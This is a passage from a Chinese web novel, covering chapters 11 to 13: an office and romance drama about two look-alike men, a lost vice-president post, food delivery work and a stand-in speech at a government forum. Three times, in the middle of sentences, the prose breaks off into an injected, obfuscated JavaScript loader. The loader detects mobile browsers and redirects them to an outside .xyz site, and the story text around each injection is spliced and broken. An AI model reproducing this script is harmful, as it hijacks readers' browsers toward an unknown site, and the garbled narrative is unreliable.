车在城发福郡小区面前放缓了速度,连拂雪将车开进地下车库,停好车,才熄了火。 “下车吧。” 连拂雪解开安全带。 阮寄水坐在位置上不动,手指轻轻抠着指甲盖。 他忽然又有点后悔了。 “......不走?”似乎是看出了阮寄水脸上的紧张,连拂雪凑过去,故意捉弄一般,轻声道: “想让我在车上睡你啊。” 阮寄水:“.......” 他惊悚地瞪大眼睛,转过头看着连拂雪,双唇蠕动,正想说些什么,连拂雪就垂下头来,掌心扣住他的头,蜻蜓点水地在他的唇上亲了一下,一触即分: “不逗你了。” 他说:“不会对你做什么的,放心。” 阮寄水:“.........” 他缓缓眨了眨眼睛,视线里连拂雪已经从车上下来,关上了车门。 阮寄水轻轻抿了抿唇,片刻后转过头来,连拂雪已经打开了车门,对他伸出了手: “走吧。” 阮寄水犹豫片刻,还是从车上跳下来。 他没有和人约炮回家的经验,所以上电梯的路上还很紧张,眼睛使劲儿盯着监控,生怕连拂雪在电梯里对他乱来,但连拂雪一路上都很老实,一只手单手插兜,一只手玩手机,根本没有要骚扰他的前兆。 阮寄水:“.......” 他轻轻撇了撇嘴。 “叮——” 电梯门打开,连拂雪率先走了进去。 他用指纹解锁了密码,随即走了进去。 因为只有连拂雪一个人住,所以房子不大,才一百多平米,落地窗前可以看见落云江。 “随便坐。” 连拂雪换好鞋子,蹲下身来打开柜门,给阮寄水拿了一双拖鞋,丢在阮寄水门口。 阮寄水站在门口不动:“我不穿别人穿过的鞋子。” 连拂雪半蹲在地上,仰头看他,道: “矫情。” 阮寄水转头就要走,被连拂雪抓着手腕拽了回来: “新买的,没人用过。” 连拂雪站起来,长臂一伸,关上了门,将阮寄水堵在自己的胸膛和铁门之间: “我去给你倒水。” 阮寄水仰起头,用漆黑的杏眼瞧着他,连拂雪被他看的心痒痒的,垂下头来想亲一下阮寄水,被阮寄水轻轻缩起脖子躲过。 连拂雪不是会忍的人,但看着阮寄水垂头时微微战栗的肩膀,到底也没舍得再吓他,只是轻轻笑了一下,就后退几步,进屋去给阮寄水倒水了。 他从冰箱里拿出水果,洗干净,切开后转盘,又顺手拿了两瓶牛奶,端到了客厅里。 阮寄水坐在沙发上,拘谨地看着他: “不是说给我倒水吗?” “你太瘦了宝贝儿,得多吃点。” 连拂雪一屁股坐在沙发上,长臂一伸,将阮寄水搂进怀里,手里稳稳托着果盘,将银叉子插进苹果块里,自己吃了一口,才又叉起一块,塞进阮寄水的口中。 阮寄水偏头躲开: “我不喜欢吃苹果。” “不要挑食。”连拂雪哄他: “就吃一块,不然我白切了。” 阮寄水犹豫几秒,看着连拂雪认真的神情,片刻后还是张开嘴,将那块苹果吃了下去。 他吃的脸颊鼓鼓的,像是个进食的仓鼠,连拂雪看他可爱,凑过去又亲了他一口,猝不及防的: “真乖。” 阮寄水:“........” 他被亲懵了,吃苹果的动作一顿,仰起头时,连拂雪已经起身,去开牛奶瓶了。 阮寄水还以为连拂雪是给自己开的,巴巴地等着连拂雪递过来给自己,没想到连拂雪一口气喝完牛奶,就起身,将瓶子丢进了垃圾桶。 阮寄水:“.........” 连拂雪察觉到了黏在自己身后的灼热目光,下意识回过头,觉得自己身上毛毛的: “怎么了?” “没事。”阮寄水凶巴巴:“你......” 下一秒,冰凉的牛奶瓶身就抵在了他的脸颊边,冰的他一个激灵想说的话也堵在了喉咙里: “急什么,也有你的份。” 连拂雪也不知道是哪里变出来另外一瓶牛奶,贴在了阮寄水的脸颊边,俯下身来看着他,道: “我去洗澡了,被你泼的一身酒味。你乖乖坐着,想吃什么就自己去冰箱拿。” 言罢,他松了手,牛奶自然垂落往下掉,被阮寄水伸出手,慌忙接住。 脸颊又被人用手指捏了捏,阮寄水皱了皱眉,想要生气,可连拂雪早就扭头走远了。 阮寄水:“.......” 阮寄水一个人在客厅里坐了一会儿,紧绷的神经慢慢放下,片刻后自己站起来,好奇地在连拂雪家里转了一圈。 家里没有其他人生活过的痕迹,家具都还很新。 阮寄水的手指在沙发上摸过,随即往里走去。两边都是紧锁的房间,只有主卧的门没有关紧,里面出来淅淅沥沥的水声。 阮寄水对房间里放着的东西很好奇,但也知道不能乱进别人的房间,只能在外面的区域活动了一会儿。 他坐在落地窗前的椅子上发了一会儿呆,直到湿漉漉的身体靠近他,熟悉的低沉声线压在他耳边,流淌进他的身体里: “在发什么呆呢。” 阮寄水一个激灵,转过头,见是连拂雪,才缓缓垂下眼睫:“没什么。” “去洗澡?” 连拂雪掌心从他的肩膀,一路摸到他的下巴,像是逗弄小狗一样,轻轻托了托: “给你我的衣服。” 阮寄水放在大腿上的指尖轻轻动了动,片刻后慢慢点了点头。 反正阮泽成已经不管自己了,他就算在一个陌生男人家睡了,也没有关系吧。 抱着这样破罐子破摔的心思,阮寄水去了连拂雪的卧室洗澡。 洗完澡后,他穿着宽宽大大的T恤和短裤,慢慢走了出来。 连拂雪坐在沙发上看平板,见他出来,上下打量了他一眼,便招招手,让他过来。 阮寄水有些紧张,手都不知道往哪放,几乎有些同手同脚地走过去,笨拙地坐上了连拂雪的大腿。 连拂雪微微一愣,将视线从平板上移开,落在阮寄水发红的脸颊上,片刻后勾唇轻轻笑了: “宝贝儿,今晚不做。” 他伸手,把阮寄水揽到自己的身边坐下,右手圈过阮寄水的脖颈,修长的手指在平板上轻碰着: “我还有事。” 阮寄水自作多情了一把,有些羞耻,在连拂雪的怀里蹬了蹬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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连拂雪一开始还以为有人将镜子放在了他的面前,直到对面的人露出了疑惑和惊讶的表情,他才反应过来,对面根本就没有放什么镜子: “是你?!” “........”连江雪没有想到面前这个空降的副总竟然是那天撞坏他比亚迪的人,微微挑了挑眉头, “好巧。” “我当时看到你名字的时候,我就想会不会是同名同姓,没想到真的是你。”连拂雪起身,给连江雪倒了一杯水,道: “你的车修好了吧。” “早就修好了。”连江雪不懂他葫芦里卖什么药,礼貌地接过水,仰头看着连拂雪倚在桌边,垂下头来看着他: “柯云飞说让我过来交接工作,我先........” “没什么工作要交接,我是骗你的。”连拂雪说: “我就开门见山说了,我今天让你来,是想让你回到腾云的。” 连江雪握着手里的杯子,感受着掌心的烫意,好半晌,才抬起手,抿了一口水,轻声道: “抱歉,我拒绝。” 连拂雪侧过身,看着连江雪,低声道: “别这么快拒绝,你再回去好好考虑一下。” “我考虑好了,这就是我的答案。” 连江雪站起身,和连拂雪面对面,轻声道: “失陪了,连总。” 言罢,他也不管连拂雪是个什么表情,直接走出了连拂雪的办公室门。 连拂雪看着面前空荡荡的椅子,还有关上的办公室门,轻轻叹了一口气。 他总算是知道为什么柯云飞觉得连江雪傲了。 看起来气质温柔好相处,实际上骨头比谁都硬,又傲又冷,打定主意的事情,谁也不能改变。 这个性格,倒有点像他爸爸,江韵书啊。 11.第 11 章 连江雪走出屋子,刚好看见柯云飞坐在办公室里,抬头看着他。 他似乎是连江雪说些什么,但到底什么也没有说,轻轻移开了视线,垂头看着手中的文件夹。 连江雪冷冷地看了他一眼,片刻后头也不回地走出了腾云。 他拒绝再回到腾云,但是腾云一时半会还没有找到合适的人接替他,暂时还不能没有他,连江雪的辞职报告就一直没有得到审批。 他没有被辞退,社保和五险一金照样交着,但拿的都是最基础的底薪,额外的提成和绩效,他一分钱也拿不到。 而因为还有腾云给他交社保,别的公司也不肯要他,连江雪只能一直“赋闲”在家,没有出去工作。 他这幅样子落在连云里眼底,就变相成了连江雪被腾云炒了。 他怕勾起连江雪的伤心事,只能旁敲侧击地问他是否得到了新的工作,但每一次,得到的都是否定的答案。 面试的次数越多,但结果却都不尽人意,连最普通的兼职,连江雪都没有找到合适的。 他已经三十岁了,在职场上本来就吃亏,加上做的是销售这样,没有非常强的技术性和针对性,专业岗位他进不去,非专业岗位又想要更年轻的人才,就算是摇奶茶也都是一些十八九岁的年轻人在摇,于是他工作的事情就一直拖着。 连云里见他整日待在家里,心里不免有些着急,忍不住碎碎念道: “江雪,要不要爸爸托关系,先帮你找一份工作先做着?” 连江雪坐在书房里,翻看着招聘的消息,闻言抬起头来,看着连云里,道: “不用了爸,我自己的事情,我自己能搞定。” 他顿了顿,又道:“我也不是小孩子了,这点事情,我能处理好的,你别担心。” 连云里看着连江雪,心情复杂。 这孩子打小就要强,从来不肯对人示弱,能做到的事情,一定要做到最好。 当年连江雪有几次出国交流学习和工作外调的机会,要不是担心连云里身体不好,走了没人照顾他,连江雪一定能做到比今天更高的位置。 连云里想,是他,把孩子拖累了。 思及此,连云里眼神微暗,半晌,拖着蹒跚的步伐,慢慢走出了连江雪的书房。 快到中午的时候,他做了饭,喊连江雪来吃,吃完饭后又把碗筷洗了,催连江雪午睡。 连江雪这几天半失业,经济压力和精神压力都很大,午睡一般都睡不着,在床上翻来覆去躺了一会儿之后,准备起来继续完善简历,和寻找工作。 他刚从床上起来,正准备去书房,岂料刚打开房门,就听见连云里压低声音道: “喂,老林。” “对,我是连云里。” “我身体一切都好,你好吗.......对,我找你是有点事。” 似乎是鼓起了勇气,连云里的声音也变得重了起来: “我家孩子最近失业在家,你那边有没有好的工作,可以给他介绍一下吗.......不行,年龄太大了......好吧。” 连江雪听着他打了一个又一个电话,听见电话那边的人用相似的理由和借口回绝了连云里,微微拢起了眉头。 被拒绝是在意料之中的,他只是没有想到,连云里会为了他,到处求人。 在印象里,爸爸也是一个很要强的人,这么多年,一直独身一人将他养大,宁可自己饿肚子,也要让连江雪吃饱。 在最艰难的时候,连云里也没有想过求人,如今为了他,只能低三下四地帮他求一个工作机会。 等最后一通电话被挂断,听着连云里慢慢站起来,蹒跚走到厨房倒水的声音,连江雪默默后退了一步,关上了房门。 他拿出手机,翻出通讯录,指尖在“柯云飞”和“连拂雪”的名字上犹豫片刻,到底还是没有选择拨通。 晚上,在餐桌上,连江雪看着给他夹菜的连云里,忽然开了口: “爸,我找到工作了。” “.......真的?”连云里动作一顿,惊讶地抬起头,看着连江雪,道: “干什么的?” “互联网。”连江雪很含糊道:“明天就去上班。” “真的啊?!”连云里猛地站起来,片刻后像是想到了什么,又慢慢坐下,道: “江雪,爸爸也给你找一份工作,是去你林叔叔的公司里当文员.......” “算了吧,别欠人情,以后就不好还了。” 连江雪低下头吃饭: “爸爸,你就别担心我了。” “........好吧。”连云里看着连江雪,想了想,又道: “其实你也别有太大的压力,家里还有钱,我之前工作,也有点积蓄。” “好,我知道了。”连江雪应了一声:“爸爸,快点吃饭吧。” “........好。” 第二天,连江雪起了个大早。 他和连云里说自己要去上班,实际上是去二手车行租了一个电动车,开始跑外卖。 他不愿意再在柯云飞手底下干活,自尊心也不允许他以平常心面对一个凭空出现抢了他位置的人,心甘情愿给他当下属。 他虽然已经三十岁,年纪大了一点,但有手有脚的,干什么都不会饿死。 与其如此,不如暂时想找一份过渡的工作干着,挣一点外卖。 连江雪向来是个敢想敢干的人,二话不说,就开始送外卖。 一开始他因为不熟悉路线,所以送迟超时了好几次,平台扣的钱加上赚的钱,一整天根本赚不了多少,还累的半死。 晴天被毒日头晒着皮肤发红起皮,下雨被雨淋的全身湿透,连江雪再苦再难的时候,也没有告诉任何人他在送外卖。 他不觉得委屈,也不觉得送外卖是一件丢人的工作,在他看来,都是凭劳动和本事吃饭,没有什么可值得诉苦的。 只是偶尔,他坐在毒日头底下,啃着饭团,看着那些高楼大厦里进进出出的白领,想着当初自己也曾是他们之间的一员就忍不住心情复杂。 但生活不允许他多想,他快速解决完饭团,接到订单,就得继续工作。 一日,他接到了一个甜点的单子。 甜点的地址在万象城,是最近新开的一家甜点店,地址在蒂芙尼对面,连江雪取了甜点,就往下单人的家里赶。 他来到一个别墅区,在门口接通了别墅主人的电话,说明自己是外卖员之后,门就自动打开了。 连江雪拿着蛋糕走进去,还未走到门前,就有一个人打开沉重的铁门,从缝隙里露出一个头来。 连江雪满头大汗,汗水滑进眼睛里,没看清给他开门的那个人是谁,但给他开门的人一见到他,眼睛就一亮,猛地从门后蹦出来,对他招手道: “嗨!怎么是你!” 连江雪定睛一看,见是阮寄情,也是一愣, “.......好巧。” “我们好有缘分。”阮寄情笑眯眯地接过连江雪手里的蛋糕,想了想,又道: “你现在改行了吗?” “........嗯。”连江雪道:“我还没找到工作,暂时送一段时间的外卖。” “好厉害呀,送外卖!”阮寄情惊讶道: “我没想到你还会送外卖!” 连江雪说:“........这有什么厉害的。” “是真的很厉害,”阮寄情抬手看了一下手表,道:“我下单还不到半小时, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16124100|180012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你这么快就送过来,很厉害了。” 连江雪:“.........” 看着连江雪满头大汗的样子,阮寄情下意识伸出手,想要给连江雪擦汗,连江雪后退一步,站定,避开他的手: “既然送到了,我就先去送下一单了。” 他撒谎了,其实阮寄情这一单,就是他今天上午的最后一单。 “要不要进来喝一口水再走。”阮寄情关心道: “你出了好多汗,外面太阳又这么大,不喝水会很难受的。” 连江雪确实嗓子很干,闻言犹豫了一下,还未出声,阮寄情就抓着他的手腕,带着他往家里走。 别墅里的空调开的很充足,光洁明亮的大理石砖面上,倒映出连江雪明黄色的衣服和被太阳晒得微微有些发红的脸颊。 阮寄情让连江雪现在客厅的沙发上坐一会儿,他则去冰箱里给连江雪拿了水和杯子。 阮寄情把矿泉水的盖子打开,倒进玻璃杯里,连江雪瞄了一眼,矿泉水牌子上写着“FIJI”。 连江雪想喝水的动作又停下了,转而问道: “........有白开水吗?” “我没烧。”阮寄情把玻璃杯子往前推了推:“你先喝这个吧。” 没办法了,连江雪只能硬着头皮喝了一口水,随即放下,道: “我,我还有事,就先走了。” “啊,已经正午了,你吃饭了吗,要不要歇一歇。” 阮寄情说:“太阳好大,你的脸都被晒红了。” 言罢,他下意识伸出手,用微凉的手指试了一下连江雪的脸颊温度。 连江雪没有想到他会忽然动手,一时间愣住了,坐在沙发上没动。 他的脸上还有汗,温度很高,可阮寄情的指腹覆上去时,还能感受到腾起的热气。 好烫........ 阮寄情看着连江雪,连江雪同样也看着阮寄情,双目四对间,还没等其中一方开口说话,忽然间,别墅的大门,被人从外卖外面打开了。 连江雪和阮寄情下意识看过去,只见一个身形挺拔纤细的人影走了进来,光线打在他长长的头发上,带着金色的光影。 阮寄水刚好到家附近办事,办完事之后准备午休一段时间,结果刚推开门,就看见阮寄情和连江雪坐在椅子上,四目相对。 阮寄情之前没尝过情爱滋味的时候,还不知道暧昧是什么意思,但今天,他却忽然开窍,懂了。 他垂着头,看着连江雪,抿了抿唇,随即慢慢靠近他,几秒钟之后,开了口: “你怎么来了?” “.......我来送外卖。” 连江雪被阮寄水自来熟的语气搞得心里怪怪的,站了起来,怕自己一个外人在场,会让这间别墅的主人不舒服,慢半拍道: “那我先走了。” “我一来,你就要走?”阮寄水反问道: “你不想看见我?” 连江雪:“???” 他迟疑片刻,思忖着该怎么回话,几秒钟之后,才慢慢道: “阮总,我还有点事情。” 阮总......... 之前还一口一个宝贝儿的叫,下了床就不认人了,还叫公事公办地叫他阮总....... 阮寄水心中的火气腾的一下就上来了,想也不想,手一指门外,语气硬邦邦道: “滚。” 连江雪简直莫名其妙的,也不知道到底是哪里惹了这大少爷不高兴,听到这句话,抬脚就走,急的阮寄情转过头对阮寄水大吼了一句“哥你怎么能这么对我的客人呢”,言罢,就急匆匆地追出去了,留下阮寄水一个人站在原地,闭了闭眼,好半晌没有开口说话。 12.第 12 章 阮寄情匆匆忙忙追出门外,发现连江雪人都已经走了。 举目四望,哪里还有连江雪的身影? 连江雪一直没有通过他的好友信息,阮寄情好不容易才又见到他一面,结果没说到几句话,连江雪就走了,这把阮寄情气的够呛,连带着晚上吃饭的时候,都没有和阮寄水说几句话。 饭桌上气氛压抑,连阮泽成也察觉到了些许不寻常,频频扭头看向阮寄情和阮寄水,正欲说些什么,阮寄水就先他一步站起来,用帕子擦了擦嘴,说了一句“我吃饱了”,就直接离席了。 阮泽成看着他上楼的背影,等他离开之后,才转过头,看向闷闷不乐的阮寄情,道: “你和你哥哥又怎么了?” “哥哥把我的客人气跑了!”阮寄情气鼓鼓的,不顾形象,用力往嘴里塞了一口饭以示泄愤: “我好不容易再见到他一次的!” “客人.......谁啊?”阮泽成看了他一眼。 “连拂雪。”阮寄情含着事物,含含糊糊道: “爸爸,我好喜欢他。” 阮泽成闻言,心里一惊,连碗里的鲈鱼都不香了,赶紧抬起头,看了阮寄情一眼,见这孩子心明眼亮的,不像是陷入爱河的模样,又听对方说了一声: “爸爸,我想和他做朋友。” ........原来只是想做朋友啊。 阮泽成听了这话,这才放下心来。 在他心里,阮寄情还是个孩子,他还没这么快想让阮寄情成家。 倒是寄水,年岁渐长,也到了成家的时候。 思及此,阮泽成陷入了沉思。 晚上回到房间的时候,阮泽成又拿出连拂雪的名片,仔细看了一会儿,随即发给私家侦探,让他帮忙查一下连拂雪的底细。 他见过连拂雪,感觉对方性格沉稳,和寄水倒是很相配。 家庭条件倒不是什么很大的关系,如果连拂雪愿意的话,可以入赘阮家。 就这样把算盘打响,阮泽成自顾自决定了阮寄水的婚事,根本也没有询问过阮寄水本人的意见。 过了几天,阮寄水收到了容港市政府举办的青年企业家座谈会,邀请他和其他三十五岁以下的企业家进行会谈。 要想做好生意,和政府搞好关系是必要的,阮寄水看了一下邀请请柬,很快就和秘书定下了时间,专门空出了一个下午的时间,并且让秘书针对主题,先写好发言报告给他看。 而在另一边,连拂雪也收到了邀请请柬。 “座谈会?”连拂雪看着请柬,有些疑惑: “需要我做什么?” “就是听听领导报告,发发言,交流交流。” 秘书道: “一般这种座谈会结束了也会有用餐环节,是不同公司的负责人交流的好时候,很多合作也可以在这个时候谈。” 说白了,就是由政府牵线搭桥的人脉资源会。 连拂雪可以不去,但一是枉费了政府的好心,二也是失去了获取合作的机会。 看着连拂雪眉头紧皱、陷入沉思的样子,秘书试探性道: “连总,那咱们......还去吗?” “去,干嘛不去。”连拂雪把请柬放下,道: “发言的材料你先拟一份给我吧,我有空再改改。” 秘书点了点头,道:“好的。” 秘书效率很高,一个星期过后,就拟好了发言的稿子。 除了一些假大空的套话,其中还涉及很多专业领域的词组,连拂雪怕自己断句有错误,还特意加班学习,认认真真地把稿子给过了好几遍,才有了些许底气。 实在不怪他心虚,他毕竟不是专业领域的人才,让他站在那么多有学识有能力的专业人才和政府领导面前夸夸其谈,实在是要了他的老命。 但也不知道是不是他真的太紧张了,以至于越不想出错,临行前就越是出错,在出发之前,他竟然拿错了稿子,把前几天开例会的稿子带上了车。 等到快要到会场的时候,他才发现这件事,但好死不死,秘书的手机上竟然还没有备份,又只能让另外一个秘书在电脑上传输过来。 现场没有打印稿子的地方,连拂雪只能疯狂背诵,一时间紧张的冷汗都要下来了。 人紧张就容易肚子痛,眼看着越来越多的骨干企业家齐聚会议室,大家站在一起三三两两地聊着天,唯独他一句话也插不进去,在面对旁人的询问时,还容易卡壳,尴尬之下的连拂雪借着要上洗手间的功夫,溜进了厕所隔间。 他坐在马桶上,深呼吸一口气,可越深呼吸就越冷静不下来。 他拿起烟盒,抽出一根咬在唇边,借着尼古丁的麻醉,短暂的冷静了下来。 以他的水平和状态上台肯定不行,这可是政府组织的座谈会,在场的长枪短炮扛着,如果念不好稿子,发挥不到位,自己丢脸是小事,对腾云的影响才是大事。 想到这里,连拂雪猛抽一口烟,想到自己走之前,江韵书对自己说的话,和眼睛里潜藏的期待,他就莫名不想让江韵书失望。 他知道,江韵书一定会在百忙之中,抽出时间,看有关这场座谈会的新闻。 虽然他混蛋了十多年,但莫名还是不想让江韵书失望。 就在纠结之间,电光火石中,连拂雪的脑海里,忽然浮现了一个人的脸。 对了,连江雪! 他不是和自己长的很像吗,加上之前一直在腾云上班,应该很有经验才对,不如就让连江雪来替自己参加会议算了。 虽然连江雪不一定会同意,但此时的连拂雪已经开始病急乱投医,抱着试试看的心思,拿起手机,就给连江雪打了电话。 连江雪正在附近送货,接到连拂雪的电话,听清楚了对方的来意,好半晌,才蹦出一句: “你开玩笑的吧?” 他又重复了一句: “我替你?” “对。”连拂雪像是抓住了救命稻草一般,死死拉住连江雪不放: “这个场合很重要,我怕我会出错,不如你来替我吧。” “我为什么要帮你。”连江雪声音很冷淡: “我已经离开腾云了。” “你的辞职报告我还没批,严格意义上来说,你还是腾云的员工。”连拂雪给一个巴掌,又给一个甜枣,马上道: “求你了。” “........”连江雪没想到连拂雪一个大男人,求人还求的这么恶心,闻言一个恶寒,犹豫几秒钟,道: “可是我还有外卖没有送完.........” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16135894|180012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我让我的司机帮你送,你赶紧过来吧。”连拂雪见有戏,不等连江雪反悔,就马上借杆而上: “我在容港人民大会堂。” “........行,你等我一下吧。” 连江雪也不知道自己为什么要帮连拂雪,或许是因为听见连拂雪嗓子里的焦急,或许是对着前司还有那么一点点感情,连江雪骑车赶往人民大会堂,一停好车,就被秘书拉了进去。 秘书之前也是腾云的老员工了,一看见连江雪,就和看见了救星一样,忙和之前一样道: “连总,我带你去洗手间换衣服。还有十五分钟,座谈会就要开始了,你进场前再看一看稿子。” “好的,没问题。”即便是临时被拉来救场,连江雪也很冷静,跟着秘书快速进了洗手间,发现连拂雪已经把衣服换好,放在了洗手池上。 连江雪见状,迟疑道: “这........” “哦,我刚刚打电话让司机去最近的商场买了常服过来,连总已经穿好常服,离开了。” 秘书说:“这套西服你先穿吧,你们长的一样,身形也一样,应该能穿上。” 连江雪顿了顿,“哦”了一声,为了不耽误时间,还是进了洗手间,换上了衣服。 他进场之前,还抓紧时间瞄了一眼稿子,在心中记下了重点,这才进场。 时间到了之后,会议室关闭,只留下现场的青年企业家和媒体。 没多久,市长和负责招商的几个政府官员就走了进来,落座之后,就开始今天会议的议程。 会议上领导部署了几项重点工作,连江雪有做笔记的习惯,在本质上落下整齐工整的笔迹。 空调的冷风吹的他有些凉,连江雪下意识地抬起头去看,却发现右前方转过来一个人脸,那人的视线紧紧地盯着他,目光随即落在他面前写着“连拂雪”的红色桌牌上面,在看清上面的字之后,又有些疑惑地微微蹙了蹙眉。 眼神抬起、落下,如此反复。 连江雪被他看他受不了,抬起眼睛,盯着阮寄水看了一眼,阮寄水这才转过头去,看向会议室的前方。 第三个议程,是优秀的青年企业家发言,连江雪代表腾云科技有限公司上台致辞。 他才看了十分钟的稿子,但记忆里很好的他很快就将其中的重点记下,加上自己的润色,很快就完成了八分钟的讲话。 讲话结束,短暂的沉默过后,掌声雷动。 台下众人纷纷抬手,用欣赏的眼神目送连江雪下台,唯有阮寄水坐在位置上,始终眉头紧锁,眼神幽幽,不知道是在想些什么。 会议结束之后,连江雪站起身,顺着人流,慢慢走出会议室。 他谢绝了想要与他攀谈的其他青年企业家,正准备离开,岂料还未走出会议室,后背就被人拉住。 他只觉一阵天旋地转,身后传来的大力迫使他转过头,整个人还未反应过来,视线里就撞进了一个泛着雾气的清凌凌的眸子,眼尾还泛着红: “站住。” 身后长相雌雄莫辨的长发美人正死死地抓着他,眼睛里带着张牙舞爪的虚张声势,还没等连江雪开口询问,他的嘴唇便一张一合,颤声吐出字句,将连江雪想说的话尽数堵回了喉咙里: “你……是不是连江雪?” 13.第 13 章 听见阮寄水的话,连江雪缓缓挑起眉: “你怎么知道是我?” 他的音色很冷淡,看向阮寄水的眼神也分外平静淡然,没有纨绔子弟公子哥特有的吊儿郎当和不羁,与记忆里那个举手投足都透着漫不经心的男人大不相同。 虽然长相像,名字像,但是不是同一个人。 思及此,阮寄水略显失望地垂了垂眼尾,后退一步,喃喃道: “不,你不是他。” 连江雪:“???” 他正想问阮寄水是什么意思,手机就响了起来,他低头看了一眼来电人提醒,顺手接了一个电话。 再次抬起头时,阮寄水已经走了。 连江雪和他不熟,见状也没多想,往旁边走了几步之后,按照车牌号,径直坐进了一辆迈巴赫中。 连拂雪坐在车里等他。 “怎么样,没出什么岔子吧。”连拂雪人不在会场,倒还是挺关心会场情况的,拉着连江雪问了一句,在得到肯定的答复之后,总算放下了心: “今天多谢你。” “没事。” 连江雪本来也就在附近,何况开个会而已,不费多少事,还有人帮他送外卖,多好。 “没什么事的话,我就先走了。”连江雪脱下西装外套,要回自己的工装之后,就准备离开,却被连拂雪叫住: “哎,你真的不考虑一下,回腾云吗。” 连拂雪摸了摸鼻子,说:“你在腾云呆了八年,对腾云多少还是有些感情的吧。” “我对腾云有感情,对你没有。”连江雪转过头,直截了当道: “我这次只是看在腾云的份上,帮你这一次,不代表我会一直帮你。” “回到腾云,总比送外卖好吧。” 连拂雪不肯放弃,执着道: “条件你随便开,只要你能回到腾云。” 连江雪静静地看了一眼连拂雪,片刻后突然说了一句,道: “有烟吗?” 连拂雪一愣,反应过来后点了点头。 他拿出自己的烟盒,抽了两根,一根含在口中,一根给了连江雪,随即凑过去,给连江雪点上了烟。 两个人借着火苗点燃烟火,连江雪降下车窗通风,深呼吸一次后,才徐徐吐出一口气: “连总,如果不是你突然到腾云来,你现在的副总位置,原本是我的。而我,也不需要背负大龄失业的压力,出来跑外卖。” 连江雪将烟放在烟灰缸边磕了磕,掀起眼皮,看了连拂雪一眼,似笑非笑道: “所以你凭什么会以为,我能当做无事发生的样子,毫无芥蒂地回到公司,然后心甘情愿地当你的下属呢?” 话音刚落,车内陷入了短暂的安静里。 连拂雪压根没有想到还有这一回事,连江雪这么一说,他的大脑登时过载,直到他将连江雪话里的意思处理完,才慢慢瞪大了眼睛: “竟然还有这一回事。” 他的眉头拢了拢,眼神逐渐变的严肃起来: “我不知道。” 连江雪食指和中指虚虚夹着烟,将其放在唇边抽了一口,手肘撑在车门上,偏头看着连拂雪,半晌缓缓吐出白色的烟雾,眉眼间神色淡淡: “不重要。” 他说:“地球离了谁都照样转,腾云没有我,也一样能运行。” 连拂雪见连江雪态度强硬,不吃他软磨硬泡这一套,只好道: “其实.........不瞒你说,我的专业并不适配腾云。来这里,完全是被我爸赶鸭子上架。腾云近年来的销售额和业绩,在分公司里,排得上前五,我爸很看重腾云,所以才让我来学习锻炼的,如果我给搞砸了,我就没脸回京城见他了。” 连江雪闻言,微微挑起半边眉头,没有马上说话,只是用视线上下打量了连拂雪一番。 和自己长着一样的脸,但性格、家世、人生经历却大不相同。 也是,也只有大富大贵之家,才能养出性格如此洒脱的人物,不像是他,每走一步都谨慎小心,精神绷紧,就怕哪一步行将踏错,以至于需要花费几年甚至下半生的时间去弥补。 他为腾云贡献了自己的八年青春,跟着柯云飞做事也不适一天两天了,在外人看来,因为何新非一个人和腾云过不去、闹不愉快,甚至和前司撕破脸,怎么样都不是一个正确的选择—— 但是连江雪知道,人生有些底线不能被突破,不可跨越,一旦他回到腾云,就等于认可了柯云飞对他的羞辱和定义,他也相当于以后就需要靠色相来吸引、维系客户。 回到腾云,就等于默认柯云飞和何新非之间达成的心照不宣的潜规则。 一是出于男人之间那点说不清道不明的自尊心在作怪,让连江雪宁可送外卖也不要和空降抢了他副总职位的连拂雪手底下做事;二是他洁身自好,不想因为工作再去出卖色相和身体。 年轻的时候,被摸几下也只能忍气吞声;年纪上来了,难道还要一辈子卖笑不成。 思及此,连江雪的指尖弹了弹,将烟灰弹出车窗,随即将火光暗灭在烟灰缸里,声音轻浅冷淡: “恕我直言,这是您需要去解决的问题,而不是我的问题。” “你的爸爸想让你来腾云,多半是想让你在腾云历练一番,再回总部继承家业,我要是帮了你,那岂不是辜负了他老人家的一片苦心?” 连拂雪没想到连江雪看起来好说话,其实也是个犟种,好赖话听不进,反而四两拨千斤地将自己的“示弱卖惨”顶了回去,有些恼怒,正想说写什么,连江雪就像是意识到他会不开心,提早灭了烟,直接下车了。 连拂雪:“.........” 他被连江雪气地够呛,将头探出门外,发现连江雪已经很骑上他买来的那辆二手电动车,一溜烟地跑远了。 “.....靠。”连拂雪咬紧了后槽牙,心想老子活这么大,就没有遇到这么不识抬举的人,他非得好好给连拂雪一个教训不可。 想到这里,连拂雪狠狠抽了一口烟,将烟头按进烟灰缸,阴着脸,看向不远处,司机从车内后视镜里看着他阴晴不定的表情,也不知道他在酝酿什么坏心思和主意。 但还没等连拂雪想出什么招来“报复”连江雪的不识抬举,何氏集团的一个部门总管就爆出违规操作,偷税漏税。 一时间舆论一片哗然,何氏的股票遭到了重创,何新非也陷入了前所未有的焦躁之中,再也没心思在暗地里给腾云使绊子了。 